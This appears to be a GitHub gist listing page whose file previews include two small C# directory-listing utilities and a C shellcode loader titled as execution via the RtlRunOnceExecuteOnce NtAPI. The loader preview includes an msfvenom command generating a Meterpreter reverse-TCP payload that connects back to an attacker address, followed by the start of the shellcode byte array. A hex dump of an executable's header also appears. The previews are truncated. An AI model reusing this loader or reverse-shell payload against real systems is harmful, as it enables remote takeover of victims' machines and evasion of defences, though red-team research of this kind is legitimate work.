Paranoid Ninja paranoidninja
🎯
paranoidninja
/ cddir.cs
Created
April 6, 2023 14:25
C# code written in a hurry to navigate directories on the basis of wildcards :D
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.IO; | |
| namespace listfiles | |
| { | |
| public static class Program | |
| { | |
| public static void Main(string[] args) | |
| { | |
| if (args.Length == 0) { |
paranoidninja
/ listfiles.cs
Created
April 6, 2023 14:18
C# code written in a hurry to list directories on the basis of wildcards :D
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.IO; | |
| namespace listfiles | |
| { | |
| public static class Program | |
| { | |
| public static void Main(string[] args) | |
| { | |
| if (args.Length == 0) { |
paranoidninja
/ RtlRunOnceExecuteOnceShellcodeExec.c
Created
April 6, 2023 12:57
Shellcode execution via RtlRunOnceExecuteOnce NtAPI
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <windows.h> | |
| #include <stdio.h> | |
| extern WORD WINAPI RtlRunOnceExecuteOnce(RTL_RUN_ONCE *once, PRTL_RUN_ONCE_INIT_FN func, void *param, void **context); | |
| typedef ULONG (WINAPI* RTL_RUN_ONCE_INIT_FN)(_Inout_ PRTL_RUN_ONCE RunOnce, _Inout_opt_ PVOID Parameter, _Inout_opt_ PVOID *Context); | |
| // msfvenom LPORT=8080 LHOST=172.16.219.1 -p windows/x64/meterpreter/reverse_tcp -f c | |
| unsigned char shellcode_bin[] = | |
| "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" | |
| "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 4d5a 9000 0300 0000 0400 0000 ffff 0000b800 0000 0000 0000 4000 0000 0000 00000000 0000 0000 0000 0000 0000 0000 00000000 0000 0000 0000 0000 0000 d800 00000e1f ba0e 00b4 09cd 21b8 014c cd21 54686973 2070 726f 6772 616d 2063 616e 6e6f7420 6265 2072 756e 2069 6e20 444f 53206d6f 6465 2e0d 0d0a 2400 0000 0000 0000ffbe 660c bbdf 085f bbdf 085f bbdf 085fa58d 8c5f 9ddf 085f a58d 9d5f a8df 085fa58d 8b5f c0df 085f bbdf 095f 3bdf 085f9c19 735f b2df 085f a58d 815f a2df 085fa58d 995f badf 085f 5269 6368 bbdf 085f0000 0000 0000 0000 5045 0000 4c01 0500cefb 4957 0000 0000 0000 0000 e000 02010b01 0900 008c 0100 009c 0000 0000 000001d5 0000 0010 0000 00a0 0100 0000 40000010 0000 0002 0000 0500 0000 0000 00000500 0000 0000 0000 0080 0200 0004 00003b24 0300 0300 4081 0000 1000 0010 00000000 1000 0010 0000 0000 0000 1000 00000000 0000 0000 0000 4cff 0100 6400 00000050 0200 b401 0000 0000 0000 0000 00000000 0000 0000 0000 0060 0200 dc12 000010a2 0100 1c00 0000 0000 0000 0000 00000000 0000 0000 0000 0000 0000 0000 0000f0f8 0100 |